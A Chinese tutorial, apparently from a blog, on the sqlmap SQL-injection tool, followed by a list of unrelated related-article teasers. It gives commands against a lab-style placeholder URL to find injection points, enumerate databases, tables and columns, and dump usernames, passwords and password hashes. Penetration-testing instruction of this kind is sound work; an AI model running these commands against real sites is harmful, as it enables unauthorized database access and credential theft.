• Sqlmap 工具用法详解

                             
 
                sqlmap是一款自动化的sql注入工具。
 
 
1.主要功能:扫描、发现、利用给定的url的sql注入漏洞,内置许多绕过插件。
 
2.支持的数据库:mysql、oracle、sql server、access、DB2、sqlite、postgresql、Firebird、sybase、sap maxDB。
 
3.采用5种注入技术:
 
[1]基于布尔的盲注:根据返回页面判断条件真假
[2]基于时间的盲注:使用条件语句查看时间延迟语句是否执行(页面返回时间是否增加)
[3]基于报错注入:返回错误信息,或将注入语句的结果返回页面中
[4]联合查询注入:在允许使用union的情况下注入
[5]堆查询注入:同时执行多条语句注入
 
4.用法
 
1>判断是否有注入点
 
sqlmap.py  -u  http://192.168.1.xxx/sql1/less-1/?id=1
 
出现类似下图的回显,则说明有注入点
 
 
注:当注入点后的参数大于等于两个时,需要加双引号
 
sqlmap.py  -u “http://192.168.1.xxx/sql1/less-1/?id=1&uid=2 ”
 
 
 
2>判断文本中的请求是否存在注入
 
sqlmap可以从一个文本文件中获取http请求(这样的好处在于:不用设置其他参数,例如cookie、post数据等)
 
下图1.txt的内容是web数据包
 
sqlmap.py  -r  路径/1.txt
 
注:-r一般存在cookie注入时使用
 
3>查询当前用户下的所有数据库
 
小提示:首先你要先确定有注入点,才能用该命令查询用户的数据库
 
sqlmap.py  -u  http://192.168.1.xxx/sql1/less-1/?id=1 --dbs
 
下图是爆出来的数据库
 
如果还需要在爆出来的指定数据库查询数据,则需要将上一条命令中的 --dbs 缩写成 -D xxx (意思是在xxx数据库中继续查询数据)
 
 
4>获取数据库中的表名
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” -D dkeye --table
 
下图就是表名
 
注:将上一条命令中的--table缩写成-T时,表示在某表中继续查询
       若在该命令中不加-D参数来指定具体的数据库,那么sqlmap会把数据库中所有表列出
 
5>获取表中的字段名
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1  ” -D dkeye -T user_info --columns
 
 
注:在后续注入中 --columns可以缩写成-C
 
6>获取字段内容
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” -D dkeye -T user_info -C username,password --dump
 
这里获取的是dkeye数据库里的user_info表中的username和password的值
 
 
7>获取数据库的所有用户
 
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” --users
 
8>获取数据库
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” --passwords
 
 
这里我们可以看到密码是用md5加密的,我们需要去解密(小工具或者在线解码网站都可以)
 
9>获取当前网站数据库的名称
 
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” --current  -db
 
 
10>获取当前网站数据库的用户名称
 
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” --current  -user
 
 
 
 
 
 
 
参考资料:

《Web安全攻防 渗透测试实战指南》

Sqlmap 工具用法详解的更多相关文章

  1. PowerShell攻防进阶篇:nishang工具用法详解

    PowerShell攻防进阶篇:nishang工具用法详解 导语:nishang,PowerShell下并肩Empire,Powersploit的神器. 开始之前,先放出个下载地址! 下载地址:htt ...

  2. Nmap工具用法详解

    Nmap                                       Network  Mapper    是一款开放源代码的网络探测和安全审核工具   1.介绍  

  3. Oracle--DBV命令行工具用法详解及坏块修复

    一,介绍 DBV(DBVERIFY)是Oracle提供的一个命令行工具,它可以对数据文件物理和逻辑两种一致性检查.但是这个工具不会检查索引记录和数据记录的匹配关系,这种检查必须使用analyze va ...

  4. Mysql导入导出工具Mysqldump和Source命令用法详解

    Mysql本身提供了命令行导出工具Mysqldump和Mysql Source导入命令进行SQL数据导入导出工作,通过Mysql命令行导出工具Mysqldump命令能够将Mysql数据导出为文本格式( ...

  5. [转]Mysql导入导出工具Mysqldump和Source命令用法详解

    Mysql本身提供了命令行导出工具Mysqldump和Mysql Source导入命令进行SQL数据导入导出工作,通过Mysql命令行导出工具Mysqldump命令能够将Mysql数据导出为文本格式( ...

  6. linux管道命令grep命令参数及用法详解---附使用案例|grep

    功能说明:查找文件里符合条件的字符串. 语 法:grep [-abcEFGhHilLnqrsvVwxy][-A<显示列数>][-B<显示列数>][-C<显示列数>] ...

  7. linux curl用法详解

    linux ‍‍curl用法详解 ‍‍curl的应用方式,一是可以直接通过命令行工具,另一种是利用libcurl库做上层的开发.本篇主要总结一下命令行工具的http相关的应用, 尤其是http下载方面 ...

  8. 教程-Delphi中Spcomm使用属性及用法详解

    Delphi中Spcomm使用属性及用法详解 Delphi是一种具有 功能强大.简便易用和代码执行速度快等优点的可视化快速应用开发工具,它在构架企业信息系统方面发挥着越来越重要的作用,许多程序员愿意选 ...

  9. linux dd命令参数及用法详解---用指定大小的块拷贝一个文件(也可整盘备份)

    linux dd命令参数及用法详解---用指定大小的块拷贝一个文件 日期:2010-06-14 点击:3830 来源: 未知 分享至:            linux dd命令使用详解 dd 的主要 ...

随机推荐

  1. 使用命令把SpringBoot项目打包成可运行的jar包(简洁,操作性强)

    前几天接到一个需求,要把原系统中一个数据处理小功能搬出原系统,拉出来单独做一个SpringBoot项目,然后打成jar包扔到Windows服务器上运行,这样数据处理的时候如果遇到堵塞就不至于整个系统都 ...

  2. Django框架中auth模块的详解

    auth模块 auth模块是对登录认证方法的一种封装,本身就是一个对象,可以获取用户的详细信息,有了auth模块可以验证登录信息是否存在数据库中,还可以检验用户是否已经登录,校验密码等 auth方法 ...

  3. sql避免科学计数法并保留两位小数

    SELECT trim(to_char(), ), ,), '9999,999,990.00')) AS CAvgPrice FROM POSITION a 结果: 以trim(to_char(ROU ...

  4. Flink流处理(一)- 状态流处理简介

    1. Flink 简介 Flink 是一个分布式流处理器,提供直观且易于使用的API,以供实现有状态的流处理应用.它能够以fault-tolerant的方式高效地运行在大规模系统中. 流处理技术在当今 ...

  5. 051_switch语句的使用 052_while循环详解 053_for循环详解_dowhile简介 054_嵌套循环_循环相关练习

    051_switch语句的使用 package testmode2;/** * 测试switch语句 * 遇到多值判断的时候,使用switch.当然,switch完全可以使用ifelseifelse代 ...

  6. Linux - cron - cron 表达式

    概述 之前 cron 的补充 这次介绍下 表达式 背景 之前有说过 cron 这次说下 表达式 1. 准备 环境 os centos7 2. 模板文件 文件 位置 /etc/crontab 作用 系统 ...

  7. UPF set_port_attribute

    『set_port_attribute』, 在IEEE 1801-2015 中该命令定义如下,不是所有的工具都支持所有的option: 这个命令用于描述port 在『未知』区域的power 连接情况, ...

  8. 【转载】Java反射机制详解

    转自:http://baike.xsoftlab.net/view/209.html#3_8 1反射机制是什么 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对 ...

  9. nmonchart 分析.nmon监控数据成html展示

    下载地址:http://nmon.sourceforge.net/pmwiki.php?n=Site.Nmonchart chart安装包:http://sourceforge.net/project ...

  10. Linux netstat命令详解(检验本机各端口的网络连接情况)

    netstat命令用于显示与IP.TCP.UDP和ICMP协议相关的统计数据,一般用于检验本机各端口的网络连接情况.netstat是在内核中访问网络及相关信息的程序,它能提供TCP连接,TCP和UDP ...